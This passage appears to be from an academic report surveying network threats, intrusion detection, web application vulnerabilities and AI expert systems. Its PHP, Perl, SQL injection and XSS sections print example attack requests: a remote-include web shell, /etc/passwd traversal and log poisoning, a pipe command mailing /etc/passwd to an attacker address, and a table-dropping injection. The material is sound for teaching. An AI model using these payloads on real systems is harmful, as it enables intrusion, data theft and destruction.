Exploits: When vulnerabilities are found in software, the hacker community will 

frequently attempt to develop an attack code that takes advantage of the vulnerability. 

This attack software is called an exploit and exploit codes are frequently shared among 

hackers, as they attempt to develop different sophisticated attacks.      

Threats or attacks: One useful way to categorize security threats or attacks is to look 

at the intent. A directed attack is one aimed at a single company, for example a 

company attempting to hack into a competitor’s network.  A mass attack is usually a 

virus or worm, that is launched onto the Internet and that replicates itself in as many 

systems as possible, as quickly as possible. Attacks may come from outside a 

company/organization, or be implemented by a company/organization insider.   

Viruses: Viruses are generally carried within e-mail messages, although it is anticipated 

that they become a security problem for instant messaging traffic as well. Ignorant or 

curious users cause the virus to execute as a program on their system when they click on 

an attachment that runs the virus program. Virus writers go to great lengths to disguise 

the fact that the attachment is in fact a virus. They also attempt to disseminate by 

sending themselves to all of the e-mail addresses that they encounter on an infected 

system. An example of a well known virus is the “Bagle” family of viruses.  These 

viruses contain their own e-mail server, so that they can replicate by sending e-mail to 

all mail addresses that they harvest from the compromised system.   

Worms: An example of a worm is the “Blaster” worm, which rapidly spread through 

the Internet in August 2003.  “Blaster” targeted computers running Windows operating 

systems, and used vulnerability in Remote Procedure Call (RPC) code.  “Blaster” 
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affected computers running Windows 2003 operating system, Windows NT 4.0, 

Windows NT 4.0 Terminal Services Edition, Windows 2000, and Windows XP. After 

compromising hundreds of thousands of systems “Blaster” launched a distributed denial 

of service attack on a Microsoft Windows update site.           

Trojan horses: As the name implies, these are software programs that are put onto 

target systems, whether by a direct hack or as the result of a virus or worm and which 

have a malicious intent.  The Trojan can capture passwords, or provide root access to 

the system remotely.    

Denial of service attacks (DoS): A denial of service attack attempts to put the target 

site out of operation, frequently by flooding the site with bogus traffic, thus making it 

unusable. The attacker attempting to create a denial of service condition will often try to 

compromise many PC’s, use them to “amplify” the attack volume and hide his or her 

tracks as well. This is called a Distributed Denial of Service Attack (DDoS). Denial of 

service attacks have now become a popular criminal activity.  Computer criminals have 

taken to using denial of service attack methods to put online businesses out of business, 

at least temporarily, and then demand money from the target. Any business that depends 

on online ordering for a significant portion of its revenues is susceptible to this sort of 

attack. Denial of Service attacks have also been used to try and put competitors out of 

business. 

Spam: Spam is not a security threat in itself, but spam techniques are increasingly being 

used to deliver malicious software.  Spam can also be used to launch “phishing” attacks, 

which attempt to elicit confidential personal information such as bank account 

information, credit card information etc., as a means to stealing identities or causing 

financial harm.   

2.3  Intrusion Detection Systems 

2.3.1  Introduction 

Intrusion Detection Systems (IDS) are important components of defensive measures 

protecting computer networks from abuse. There are two primary intrusion detection 

models: network based intrusion detection systems and host based intrusion detection 

systems. A Network Intrusion Detection System (NIDS) monitors traffic on the network 
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wire and attempts to discover if a hacker is attempting to break into a system or cause a 

Denial of Service (DoS) attack. A host based intrusion detection system audits data 

from a single host to detect intrusions. Tasks of NIDS include monitoring and analysis 

of network traffic, recognition of activity patterns and statistical analysis for abnormal 

activity patterns and generation of security alerts. 

2.3.2  IDS architectures 

In general there are three types of IDS architectures: single-tiered, multi-tiered and peer-

to-peer architectures [Endorf 04]. 

1) Single-tiered architecture 

A single-tiered architecture, the most basic of the architectures, is one in which 

components in an ID collect and process data themselves, rather than passing the output 

they collect to another set of components. An example of a single-tiered architecture is a 

host-based intrusion detection tool that takes the output of system logs and compares it 

to known patterns of attack. 

A single-tiered architecture offers advantages, such as simplicity, low cost and 

independence from other components. At the same time, however, a single-tiered 

architecture usually has components that are not aware of each other, reducing 

considerably the potential for efficiency and sophisticated functionality. 

2) Multi-tiered architecture 

As the name implies, a multi-tiered architecture involves multiple components that pass 

information to each other. Many of today’s IDS consist of three primary components: 

sensors, analyzers or agents and a manager. 

Sensors perform data collection. Network sensors are often programs that capture data 

from network interfaces. Sensors can collect data from system logs and other sources, 

such as personal firewalls and TCP wrappers. 

Sensors pass information to agents or analyzers, which monitor intrusive activity on 

their individual hosts. Each sensor and agent is configured to run on the particular 

operating environment in which it is placed. Agents are normally specialized to perform 

one and only one function. For example, one agent might examine nothing but TCP 

traffic, whereas another might examine only FTP connections and connection attempts. 
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When an agent has determined that an attack has occurred or is occurring, it sends 

information to the manager component, which can perform a variety of functions 

including the following: 

• displaying alerts on a console 

• sending a email or calling a cellular phone number 

• storing information regarding an incident in a database 

• retrieving additional information relevant to the incident 

• sending information to a host that stops it from executing certain instructions in 

memory 

• sending commands to a firewall or router that change access control lists 

• providing a management console 

A central collection point allows for greater ease in analyzing logs because all the log 

information is available at one location. Additionally, writing log data to a different 

system from one that produced them is advisable. If an attacker destroys log data on the 

original system (trying to masquerade his presence on the system), the data will still be 

available on the central server. Finally, management consoles can enable intrusion 

detection staff to remotely change security policies and parameters, erase log files after 

they are archived and perform other important function without having to individually 

authenticate to sensors, agents and remote systems. 

Advantages of a multi-tiered architecture include greater efficiency and depth of 

analysis. With each component of the architecture performing the function it is designed 

to do, often mostly independent of the other components, a properly designed multi-

tiered architecture can provide a degree of efficiency not possible with the simpler 

single-tiered architecture. The main downsides include cost and complexity. The 

multiple components, interfaces and communication methods translate to greater 

difficulty on setting up, maintaining and troubleshooting this architecture.   

3) Peer-to-peer architecture 

A peer-to-peer architecture is well suited to organizations that have invested enough to 

obtain and deploy firewalls capable of cooperating with each other, but that have not 

invested in IDS. The peer-to-peer architecture involves exchanging intrusion detection 

information between peer components, each of which performs the same kinds of 

functions. This architecture is often used by cooperating firewalls and to a lesser degree 
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by cooperating routers or switches. As one firewall obtains information about events 

that are occurring, it passes the information to another, which may cause a change in an 

access control list or addition of restrictions on proxied connections. The second 

firewall can also send information that causes changes in the first. Neither firewall acts 

as the central server or master repository of information. 

The main advantage of a peer-to-peer architecture is simplicity. The main downside is a 

lack of sophisticated functionality due to the absence of specialized components, 

although the functionality is better than what is possible in a single-tiered architecture 

because the latter does not even have cooperating components. 

2.3.3  Intrusion Detection categories 

Principally, there are two major categories of intrusion detection: the Rule-based 

detection also referred to as signature detection, pattern matching and misuse detection 

and the Anomaly detection, also referred to as profile-based detection. 

2.3.3.1  Rule-Based detection 

This is the first scheme that was used in early intrusion detection systems. Rule-based 

detection uses pattern matching to detect known attack patterns. 

There are four phases of the analysis process in a rule-based detection system: 

1) Preprocessing 

The first step is to collect data about intrusions, vulnerabilities and attacks and put 

them into a pattern descriptor. The pattern descriptors are typically either content-

based signatures, which examine the payload and header of a packet, or context-

based signatures that evaluate only the packet headers to identify an alert. Pattern 

descriptors can be atomic (single) or composite (multiple) descriptors. An atomic 

descriptor requires only one packet to be inspected to identify an alert while a 

composite descriptor requires multiple packets to be inspected to identify an alert. 

The pattern descriptors are then put into a knowledge base that contains the criteria 

for analysis. 

2) Analysis  
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The event data are formatted and compared against the knowledge base by using a 

pattern-matching analysis engine. The analysis engine looks for defined patterns that 

are known as attacks. 

3) Response  

If the event matches the pattern of an attack, the analysis engine sends an alert. If the 

event is a partial match, the next event is examined. Partial matches can only be 

analyzed with a stateful detector, which has the ability to maintain state, as many 

IDS systems do. 

4) Refinement 

Refinement of pattern-matching analysis comes down to updating signatures, 

because an IDS is only good as its latest signature update. This is one of the 

drawbacks of pattern-matching analysis. Most IDS allow automatic and manual 

updating of attack signatures. 

2.3.3.2  Profile-Based detection 

In profile-based (or anomaly) detection profiles with ‘normal’ behavior are created and 

everything that deviates sufficiently from the normal causes an alert. An anomaly is 

something that is different from the norm or that cannot be easily classified. Anomaly-

based schemes fall into three main categories: behavioral, traffic pattern and protocol. 

Behavioral analysis looks for anomalies in the types of behavior that have been 

statistically baselined, such as relationships in packets and what is being sent over a 

network. Traffic-pattern analysis looks for specific patterns in network traffic. Protocol 

analysis looks for network protocol violations on misuse on RFC-based behavior.  

The analysis model in the context of anomaly detection is as following: 

1) Preprocessing 

The first step in the analysis process is collecting the data in which behavior 

considered normal on the network is baselined over a period of time. The data are put 

into numeric form and is then formatted. Then the information is classified into a 

statistical profile that is based on different algorithms in the knowledge base. 

2) Analysis  

The event data are reduced to a profile vector, which is then compared to the 

knowledge base. The contents of the profile vector are compared to a historical 
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record for that particular user and any data that fall outside of the baseline normal 

activity is labeled a deviation. 

3) Response 

At this point, a response can be triggered either automatically or manually. 

4) Refinement  

The data records must be kept updated. The profile vector history will typically be 

deleted after a specific number of days. In addition, different weighting systems can 

be used to add more weight to recent behaviors than past behaviors.  

IDS systems based on the rule-based category detect attacks accurately, only for the 

known signatures and are ineffective against previously unseen attacks. On the other 

hand, IDS systems based on profiles are capable of detecting novel attacks but their 

effectiveness is affected greatly by what “features” of the system behavior have been 

learnt. They are also characterized by a high rate of false alarms and the task of 

selecting an appropriate set of features has proved to be a hard problem. There are also 

various hybrid approaches, but most of the commercial IDS systems are ruled based. 

2.4  Web applications vulnerabilities 

A stable system is a system with a documented response (e.g. explicitly described or 

logically implied) to any change in external conditions. If its response is undocumented 

it is result of side effects in the system. These side effects are usually unpredictable and 

they are called vulnerabilities or simply holes.  

Vulnerabilities in Web applications are related with scripts and programs running on a 

server and are available using HyperText Transfer Protocol (HTTP). Improper Web 

programming results in vulnerable Web applications that can become the weakest 

components in server protection. Protection is against changes to information and 

against unauthorized access to information. 

Leakage of information about the files located on a site could be crucial or not, 

depending on the web site. On a small Web site with static data leakage of information 

is not crucial. On a more complex system with dynamic content, e.g. e-shop, news 

system, chat or forum, leakage of information would be more dangerous than from the 

static site. On such a complex system server scripts are accessing a database that stores 
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private information about clients, suppliers and others. Additionally, this database can 

store confidential information such as customers’ credit card numbers.  

Access of the source code of the server scripts would also be dangerous. These scripts 

may contain information for access to the database, such as login and passwords. The 

code of the scripts could also be analyzed for vulnerabilities that would allow the 

attacker to obtain high privileges and control of the server. 

The attacker’s goal is to obtain as much information about the web server as possible 

and to obtain privileges on it. His goal can be also to control the server to use its 

computational resources. A server can be used as a relay agent to send spam, scan 

vulnerabilities on other servers or find passwords from hashes. 

2.4.1  PHP vulnerabilities 

PHP is a common-used programming language aimed at the development of Web 

applications. A PHP script can do everything other web applications can do. It can 

receive data from a HTTP form sent as GET or POST parameters. It can also receive 

and set cookies. Appendix A provides a brief description of HTTP GET, POST and 

COOKIE web requests. 

2.4.1.1  PHP source code injection 

The PHP source code injection is a vulnerability caused by an insufficient check of 

variables used in functions as include( ) and require( ). An insufficient check of 

parameters allows the attacker to create a request that makes the PHP interpreter include 

and execute a malicious PHP file. 

There are two types of PHP source code injection vulnerabilities: Global and Local PHP 

source code injection vulnerabilities. 

Global PHP source code injection 

Global PHP source code injection is a vulnerability that allows an attacker to execute 

any file local or remote, available for reading to the server. If a remote PHP file is 

requested the result of its work (not its source code) is included. 

The following example shows how to include a remote script to execute any code on the 

target server. 

Example: 
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Suppose the a.php script contains the command: 

<?  include(“http://remotehost/b.php”);  ?>    

If the code of the b.php script is as following: 

<?  echo “this is the b.php script. Date: ”.date(“H:i:s”); 

      echo “   <?  Echo \“And this is what a.php executes. \”;   ?>  ”; 

?> 

The a.php script includes b.php using HTTP and then executes it. When this script is 

included the following happens: The b.php script is requested using HTTP. If there is a 

PHP interpreter on the server (remotehost) that contains the included script this script is 

executed on that server and the result of this execution is sent to a.php script, so the 

code: 

<?  Echo \“And this is what a.php executes. \”;   ?> 

will be executed on the target server i.e. on the web server that contains the vulnerable 

script. 

Using the Global PHP source code injection vulnerability the attacker can execute 

system commands on the server like the following example: 

Suppose the abc.php script has the vulnerability: 

<? include(“$page.htm”) ?> 

If the PHP interpreter is not in safe mode one can use the system ( ) function to execute 

system commands and return their output to the browser. If an attacker writes the 

following shell code: 

<? system($_GET[“cmd”]) ?> 

and places on any web site (e.g www.hackersite.net) then the request: 

http://localhost/abc.php?page=http://www.hackersite.net/cmd.htm?&cmd=ls+-la 

will cause the vulnerable abc.php script to include and execute a system command (unix 

or windows). In this example the unix command (ls –la) is passed as value of the cmd 

parameter and will be executed on the target server. 

Lobal PHP source code injection 

Local PHP source code injection is a vulnerability that allows an attacker to execute any 

local file available for reading to the server. 

Example 1: 
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The contents of /etc/passwd file could be obtained (under specific security conditions) 

using a request like the following: 

http://localhost/script.php?page=./../../../../etc/passwd%00 

Example 2: 

An attacker can use the system log files (e.g /var/log/messages) to embed PHP code. So, 

for example, if FTP is running on the server the attacker can give the following code 

instead of a valid username: 

< system(stripslashes($_GET[‘cmd’])); ?> 

The following data will be logged in /var/log/messages: 

Oct 1 00:03:35 server ftpd[12345]: user  

“<?  system(stripslashes($_GET[‘cmd’])); ?>”  access denied 

The attacker can then execute a system command with the request: 

http://directory/script.php?page=./../../../../var/log/messages%00&cmd=ls+-la  

2.4.1.2  PHP programming errors vulnerabilities 

Programming errors in PHP scripts could allow a remote user to obtain higher privileges 

in the system. 

2.4.1.2.1  Lack of variable Initialization 

One common error is the lack of initialization of variables before the first use of them. 

With certain settings of the PHP interpreter, the interpreter automatically registers GET, 

POST and sometimes COOKIE parameters sent with HTTP requests. So, if the attacker 

sends a GET or POST parameter to a variable used without initialization, the variable 

will have a value not foreseen by the programmer but assigned by the attacker. So, the 

malicious user can affect the logic of the script and sometimes find holes in protection. 

2.4.1.2.2  Errors in included files 

Included files with the .INC extension are common. This extension is not associated 

with any interpreter, so an HTTP request to a file with this extension will not entail 

execution of the file. But, most Web browsers when they fail to find an application 

associated with a particular extension return the contents of the file. As a result, the 
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attacker will read the contents of included files and having the source of these files he 

can find vulnerabilities that are difficult to find otherwise. 

2.4.1.2.3  Errors when uploading files 

One common mistake is related to implementation of uploading files in PHP. A file 

uploaded using HTTP is first put into a temporary directory and then copied to the 

appropriate directory using a script. Sometimes, the attacker can forge the values of the 

sent HTTP POST or GET parameters to make the script copy a target file to a directory, 

where it will be then available using HTTP. 

2.4.2  PERL vulnerabilities 

Perl is another Web programming language and it was developed specifically for Web 

applications. 

2.4.2.1  An Internal Server Error 

An HTTP error message, 500 – Internal Server Error, appears in Perl scripts more often 

than in PHP scripts. The most common cause of this error is that the Perl script did not 

return some HTTP headers (e.g. Content-Type) in the server response. 

So, when an attacker investigates a system for vulnerabilities, he can suppose that the 

internal server error emerging with certain values of HTTP parameters indicates an error 

in the server script.  

2.4.2.2  Open () function 

By default the open () function opens files for reading. If the specified file name begins 

with the pipe character ( | ), the characters that follow it are interpreted as a command 

and a stream opens. The specified command will be executed and the data it outputs to 

the stdout stream will be displayed, as if they were the contents of a file. 

So, this vulnerability allows an attacker to execute any code on the server with the 

access rights of the server who started the HTTP server. He can also create empty file 

and to delete the contents on any files using the characters > or >>. 

Example 1: 

The following request: 
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http://localhost/cgi-bin/test.cgi?page=|netstat+-an  

will display information about network interfaces, running services and established 

connections on the server. 

Example 2: 

The following request will erase the content of a file: 

http://localhost/cgi-bin/script.cgi?page=>./test1.txt     

Example 3: 

Finally, if this vulnerability exists but the data are not sent to the standard output stream 

and therefore there are not sent to the browser, the files can be read and commands can 

be executed but the contents of the files and the results of the commands are not 

displayed in the browser window. In this case, the attacker can create a chain of 

commands to redirect the output to a desired stream. For example, the result of a 

command can be sent to an e-mail address, like in the following request: 

http://localhost/cgi-bin/script.cgi?page=|cat+/etc/passwd|sendmail+hacker@address.gr 

2.4.2.3  Perl code injection 

The require ( ) function includes and executes the specified file as a Perl script. The file 

should be a syntactically correct Perl script. If a user can change GET, POST and 

COOKIE parameters and headers of an HTTP request to change the value of the 

variable used in the require ( ) function, he theoretically can make the Perl interpreter 

include and execute any file. For that, he needs to create or change any file on the server 

available for reading to the user who started the HTTP server. 

Example: 

http://localhost/cgi-bin/script.cgi?name=./data/../include/test.cgi 

2.4.3  Database vulnerabilities (SQL) 

Many web applications, both large and small, use databases. In most cases databases are 

accessed using structures query language (SQL). A vulnerability called SQL source 

code injection (or simply, SQL injection) appears when an attacker can embed any data 

into SQL queries. SQL injection can be crucial for the system but despite its danger it is 
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one of the most frequent vulnerabilities. MySQL is one of the most popular database 

servers. 

Example 1: 

The values of the parameters in SQL queries can be sent to the server only as a string 

and strings in SQL should be between apostrophes (‘ ’) or quotation marks ("  "). 

If there is an SQL injection vulnerability, e.g the apostrophes in a parameter of the 

select command are not filtered like in the following SQL query:  

select * from table1 where id=‘$id’ , 

then the attacker just needs to send the following HTTP GET request to delete the 

table1 table (under some security conditions): 

http://localhost/test.php?id=9999’;+drop+table+users;+/* 

Example 2: 

An attacker can send a series of queries to find the full version of the database server 

(e.g MySQL) or to find table attributes or even database passwords (by using the 

dichotomizing method), like in the following queries: 

http://localhost/script.php?id=1234+/*!00000+AND+0+*/ 

http://localhost/script.php?id=1234))+UNION+select+1,2,id+from+table1/* 

http://localhost/script.php?pass=aaa’+or+pass+like+’p%’/* 

2.4.4  Cross Site Scripting (XSS) vulnerabilities 

Cross Site Scripting is one of the most common vulnerabilities. It appears as a result of 

insufficient filtration of data received from a malicious person and then sent to third 

parties. Systems like chats, forums and webmail that receive data from users and display 

it on other users’ browsers are vulnerable to a XSS attack.  

By exploring a XSS vulnerability an attacker can: 

• Deface a site, that is, change the appearance of a target HTML page 

• Obtain a user’s cookie in the context of a target site (with JavaScript tools) 

• Collect statistics about the visitors 

• Perform conceal actions on behalf of the system administrator 

• Fix a session (write artificial values into cookies using malicious JavaScript code) 
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In a variant of a XSS attack the target user is advised to follow a link. If he does so, 

some malicious code inside the URL address (e.g a Javascript) will be executed on the 

target site. 

Below are a few examples of requests an attacker will use when trying to fool a user. 

Example 1: The IMG tag 

http://host/search/search.cgi?query=< img%20src=http://host2/fake-article.jpg> 

Depending on the website setup and if the search engine doesn't filter requests for html 

tags, this generates html with the image from host2 and feeds it to the user when they 

click on this link. Depending on the original web page layout it may be possible to fool 

a user into thinking this is a valid article.  This request could be encoded so that when a 

user clicks on this link he does not get suspicious.  

Example 2: 

http://host/something.php?q=<img%20src=javascript:something-wicked-this-way-

comes> 

If a user clicks on this link a JavaScript popup box displaying the sites domain name 

will appear. While this example isn't harmful, an attacker could create a falsified form 

or, perhaps create something that grabs information from the user. The request above is 

easily questionable to a standard user but with hex, unicode, or %u windows encoding a 

user could be fooled into thinking this is a valid site link. 

Example 3: 

http://host/< script>Insert stuff here </script> 

This particular request is very common example. If an administrator sees something like 

this in his logs, there is a good chance someone is testing his scripts out. 

The cause of the XSS vulnerability is insufficient filtration of the entered data. The 

users are placing tags in their messages enclosed by the “ < ” and “ > ” characters. 

2.5  Artificial Intelligence - Expert Systems 

2.5.1  Introduction 

The most successful product of conventional artificial intelligence is the expert system. 

But an expert system is good only if explicit knowledge is acquired and represented in 
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the knowledge base. This substantially limits the field of practical applications for such 

systems.  

During the last few years, the domain of artificial intelligence has expanded rapidly to 

include artificial neural networks, genetic algorithms and even fuzzy set theory. This 

makes the boundaries between modern artificial intelligence and soft computing vague 

and elusive. 

2.5.2  Ruled-based systems  

Knowledge is a theoretical or practical understanding of a subject. Knowledge is the 

sum of what is currently known. 

An expert is a person who has deep knowledge in the form of facts and rules and strong 

practical experience in a particular domain. An expert can do things other people 

cannot. The experts can usually express their knowledge in the form of production rules. 

Production rules are represented as IF (antecedent) THEN (consequent) statements. A 

production rule is the most popular type of knowledge representation. Rules can express 

relations, recommendations, directives, strategies and heuristics. 

Expert systems separate knowledge from its processing by splitting up the knowledge 

data base and the inference engine. This makes the task of building and maintaining an 

expert system much easier. 

There are two principal methods to direct search and reasoning: forward chaining and 

backward chaining inference techniques. 

Advantages of Ruled-based systems 

• Natural knowledge representation 

• Uniform structure 

• Separation of knowledge from its processing 

• Cope with incomplete and uncertain knowledge 

Disadvantages 

• Opaque relations between rules 

• Ineffective search strategy 

• Inability to learn 
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2.5.2.1  Uncertainty management in ruled-based systems 

Uncertainty is the lack of exact knowledge that would allow us to reach a perfectly 

conclusion. The main sources of uncertain knowledge in expert systems are: 

• Weak implications 

• Imprecise language 

• Missing data 

• Combining the views of different experts. 

2.5.2.1.1 Bayesian approach 

In the Bayesian approach, an expert is required to provide the prior probability of 

hypothesis H and values for the likelihood of sufficiency, LS to measure belief in the 

hypothesis if evidence E is present and the likelihood of necessity, LN, to measure 

disbelief in hypothesis H if the same evidence is missing. The Bayesian method uses 

rules of the following form: 

IF E is true {LS, LN} 

THEN H is true {prior probability} 

To employ the Bayesian approach we must satisfy the conditional independence of 

evidence. We also should have reliable statistical data and define the prior probabilities 

for each hypothesis. These requirements are rarely satisfied in real-world problems. 

2.5.2.1.2 Certainty factors theory  

Certainty factors theory is a popular alternative to Bayesian reasoning. Here, an expert 

is required to provide a certainty factor, cf, to represent the level of belief in hypothesis 

H given that evidence E has been observed. The certainty factors method uses rules of 

the following form: 

IF E is true 

THEN H is true {cf} 

Certainty factors are used if the probabilities are not known or cannot be easily 

obtained. Certainty theory can manage incrementally acquired evidence, the conjunction 

and disjunction of hypotheses, as well as evidences with different degrees of belief. 

Common problem of both methods: 
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It is difficult to find an expert able to quantify subjective and qualitative information.  

2.5.3  Fuzzy expert systems 

Fuzzy logic is a logic that describes fuzziness. As fuzzy logic attempts to model 

human’s sense of words, decision making and common sense, it is leading to more 

human intelligent machines. 

Fuzzy logic is a set of mathematical principles for knowledge representation based on 

degrees of membership rather than on the crisp membership of classical binary logic. 

Unlike two-valued Boolean logic, fuzzy logic is multi-valued. 

A fuzzy set is a set with fuzzy boundaries, such as short, average or tall for men’s 

height. To represent a fuzzy set in a computer, we express it as a function and then map 

the elements of the set to their degree of membership. Typical membership functions 

used in fuzzy expert systems are triangles and trapezoids. 

Example: 

tall men = (0/180, 0.25/182.5, 0.5/185, 0.75/187.5, 1/190) ,   

where: 0,0.25,0.5,0.75 and 1 are the degrees of membership. 

A linguistic variable is used to describe a term or concept with vague or fuzzy values. 

These values are represented in fuzzy sets. 

Hedges are fuzzy set qualifiers used to modify the shape of fuzzy set. They include 

adverbs such as very, somewhat, quite, more or less, and slightly. Hedges perform 

mathematical operations of concentration by reducing the degree of membership of 

fuzzy elements (e.g very tall men), dilation by increasing the degree of membership (e.g 

more or less tall men) and intensification by increasing the degree of membership above 

0.5 and decreasing those below 0.5 (e.g indeed tall men). 

Fuzzy rules are used to capture human knowledge. A fuzzy rule is a conditional 

statement in the form: 

IF x is A 

THEN y is B,    

where x,y are linguistic variables and A,B are linguistic values determined by fuzzy 

sets. 
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Fuzzy inference is a process of mapping from a given input to an output by using the 

theory of fuzzy sets. The fuzzy inference process includes four steps: fuzzification of 

the input variables, rule evaluation, aggregation of the rule outputs and defuzzification. 

There are two inference techniques: Mamdani-type and Sugeno methods. 

Building a fuzzy expert system is an iterative process that involves defining fuzzy sets 

and fuzzy rules, evaluating and then tuning the system to meet the specified 

requirements. 

Disadvantage 

Tuning is the most laborious and tedious part in building a fuzzy system. It often 

involves adjusting existing fuzzy sets and fuzzy rules. 

2.5.4  Neural networks(NN) 

Machine learning involves adaptive mechanisms that enable computers to learn from 

experience, learn by example and learn by analogy. Learning capabilities can improve 

the performance of an intelligent system over time. 

A neural network consists of a number of very simple and highly interconnected 

processors, called neurons, which are analogous to the biological neurons in the brain. 

The neurons are connected by weighted links that pass signals from one neuron to 

another. Each link has a numerical weight associated with it. Weights are the basic 

means of long-term memory in NNs. They express the strength, or importance of each 

neuron input. A neural network ‘learns’ through repeated adjustments of these weights. 

2.5.4.1  Supervised neural networks 

The main property of a neural network is the ability to learn from its environment and to 

improve its performance through learning. The learning algorithm has two phases. First, 

a training input pattern is presented to the network input layer. Then, the network 

propagates the input pattern from layer to layer until the output pattern is generated by 

the output layer. If it is different from the desired output, an error is calculated and then 

propagated backwards through the network from the output layer to the input layer. The 

weights are modified as the error is propagated. Examples of supervised neural 

networks are the multilayer backpropagation neural network [Haykin 99], the Hopfield 

network [Hopfield 82] and the Bidirectional Associative Memory (BAM) [Kosko 88].  
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2.5.4.2  Self-organising neural networks 

In contrast to supervised learning, or learning with an external ‘teacher’ who presents a 

training set to the network, unsupervised or self-organized learning does not require a 

teacher. During a training session, the neural network receives a number of different 

input patterns, discovers significant features in these patterns and learns how to classify 

input. 

Hebbian learning 

Hebb’s law [Stent 73] states that if neuron i is near enough to excite neuron j and 

repeatedly participates in its activation, the synaptic connection between these two 

neurons is strengthened and neuron j becomes more sensitive to stimuli from neutron i. 

This law provides the basis for learning without a teacher. Learning here is a local 

phenomenon occurring without feedback from the environment. 

Adaptive resonance theorem (ART) 

The ART1 network [Carpenter and Grossberg 87] is a good example of a self-

organizing network. It is a very simple, unsupervised learning algorithm with biological 

motivations. New concepts are learnt by relating them to existing knowledge. New 

knowledge is classified by initially trying to cluster it with something already known. If 

new knowledge cannot be related to something already known a new structure is 

created. By clustering new concepts together with analogous old ones and creating new 

clusters when we encounter new knowledge, we solve what Grossberg coined the 

stability-plasticity dilemma. The ART1 algorithm includes the necessary elements to not 

only create new clusters when sufficiently different data is encountered, but also to 

reorganize clusters based upon the changes. 

Competitive learning (Kohonen network) 

In competitive learning neurons compete among themselves to be activated. While in 

Hebbian learning, several output neurons can be activated simultaneously, in 

competitive learning only a single output neuron is active at any time. The output 

neuron that wins the ‘competition’ is called the winner-takes-all neuron.  

The principle of topographic map [Kohonen 90] formation states that the spatial 

location of an output neuron in the topographic map corresponds to a particular feature 

of the input pattern, like in the cerebral cortex. The cerebral cortex includes areas, 

identified by the thickness of their layers and the types of neurons within them, that are 
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responsible for different human activities (motor, visual, auditory, etc.), and thus 

associated with different sensory inputs. We can say that each sensory input is mapped 

into a corresponding area of the cerebral cortex; in other words, the cortex is a self-

organising computational map in the human brain. 

The Kohonen network consists of a single layer of computational neurons, but it has 

two different types of connections. There are forward connections from the neurons in 

the input layer to the neurons in the output layer, and lateral connections between 

neurons in the output layer. The lateral connections are used to create a competition 

between neurons. In the Kohonen network, a neuron learns by shifting its weights from 

inactive connections to active ones. Only the winning neuron and its neighbourhood are 

allowed to learn. If a neuron does not respond to a given input pattern, then learning 

does not occur in that neuron. 

2.5.5  Evolutionary computation 

The evolutionary approach to artificial intelligence is based on the computational 

models of natural selection and genetics known as evolutionary computation. 

Evolutionary computation combines genetic algorithms, evolution strategies and genetic 

programming. 

All methods of evolutionary computation work as follows: create a population of 

individuals, evaluate their fitness, generate a new population by applying genetic 

operators, and repeat this process a number of times. 

2.5.5.1  Genetic algorithms 

A genetic algorithm is a sequence of procedural steps for moving from one generation 

of artificial ‘chromosomes’ to another. It uses ‘natural’ selection and genetics-inspired 

techniques known as crossover and mutation.  Each chromosome consists of a number 

of ‘genes’, and each gene is represented by 0 or 1. 

Genetic algorithms use fitness values of individual chromosomes to carry out 

reproduction. As reproduction takes place, the crossover operator exchanges parts of 

two single chromosomes, and the mutation operator changes the gene value in some 

randomly chosen location of the chromosome. After a number of successive 
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reproductions, the less fit chromosomes become extinct, while those best fit gradually 

come to dominate the population. 

Genetic algorithms work by discovering and recombining schemata – good ‘building 

blocks’ of candidate solutions [Holland 75]. The genetic algorithm does not need 

knowledge of the problem domain, but it requires the fitness function to evaluate the 

fitness of a solution. 

Solving a problem using genetic algorithms involves defining constraints and optimum 

criteria, encoding the problem solutions as chromosomes, defining a fitness function to 

evaluate a chromosome’s performance, and creating appropriate crossover and mutation 

operators. 

Genetic algorithms are a very powerful tool. However, coding the problem as a bit 

string may change the nature of the problem being investigated. There is always a 

danger that the coded representation represents a problem that is different from the one 

we want to solve. 

2.5.5.2  Evolution strategies 

Evolution strategies are used in technical optimization problems when no analytical 

objective function is available, and no conventional optimization method exists-only the 

engineer’s intuition [Schwefel 81]. 

An evolution strategy is a purely numerical optimization procedure that is similar to a 

focused Monte Carlo search. Unlike genetic algorithms, evolution strategies use only a 

mutation operator. In addition, the representation of a problem in a coded form (like in 

genetic algorithms) is not required. 

2.5.5.3  Genetic programming 

Genetic programming is a recent development in the area of evolutionary computation. 

Genetic programming applies the same evolutionary approach as genetic algorithms. 

However, genetic programming is no longer breeding bit strings that represent coded 

solutions but complete computer programs that solve a problem at hand. 

Solving a problem by genetic programming involves determining the set of arguments, 

selecting the set of functions, defining a fitness function to evaluate the performance of 
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created computer programs, and choosing the method for designating a result of the run 

[Koza 92]. 

Since genetic programming manipulates programs by applying genetic operators, a 

programming language should permit a computer program to be manipulated as data 

and the newly created data to be executed as a program. For these reasons, LISP was 

chosen as the main language for genetic programming. 

The basic data structures of LISP are atoms and lists. An atom is the smallest indivisible 

element of the LISP syntax (e.g the number 21, the symbol X and the string ‘this is a 

string’). A list is an object composed of atoms and/or other lists. Both atoms and lists 

are called symbolic expressions or S-expressions. In LISP, all data and all programs are 

S-expressions. This gives LISP the ability to operate on programs or even write other 

LISP programs. This remarkable property of LISP makes it very attractive for genetic 

programming. 

2.5.6  Comparison of expert systems 

Table 2-1 compares the experts systems in terms of knowledge representation, 

uncertainty tolerance, imprecision tolerance, adaptability, learning ability, explanation 

ability, knowledge discovery and data mining and maintainability [Negnevitsky 02]. 
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Criteria Rule Based 
Expert ystems

Fuzzy 
Systems 

Neural 
Networks 

Genetic 
Algorithms 

Knowledge 
representation 
 

 
Rather good 

 
Good 

 
Bad 

 
Rather bad 

Uncertainty 
tolerance 
 

 
Rather good 

 
Good 

 
Good 

 
Good 

Imprecision 
tolerance 
 

 
Bad 

 
Good 

 
Good 

 
Good 

 
Adaptability 
 

 
Bad 

 
Rather bad 

 
Good 

 
Good 

Learning 
ability 
 

 
Bad 

 
Bad 

 
Good 

 
Good 

Explanation 
ability 
 

 
Good 

 
Good 

 
Bad 

 
Rather bad 

Knowledge 
discovery and 
data mining 

 
Bad 

 
Rather bad 

 
Good 

 
Rather good 

 
Maintainability 
 

 
Bad 

 
Rather good 

 
Good 

 
Rather good 

Table 2-1  Comparison of expert systems 

2.5.7  Hybrid intelligent systems 

Hybrid intelligent systems are systems that combine at least two intelligent 

technologies. Probabilistic reasoning, fuzzy set theory, neural networks and 

evolutionary computation form the core of soft computing, an emerging approach to 

building hybrid intelligent systems capable of reasoning and learning in uncertain and 

imprecise environments. 

2.5.7.1  Neural expert systems 

Both expert systems and neural networks attempt to emulate human intelligence, but use 

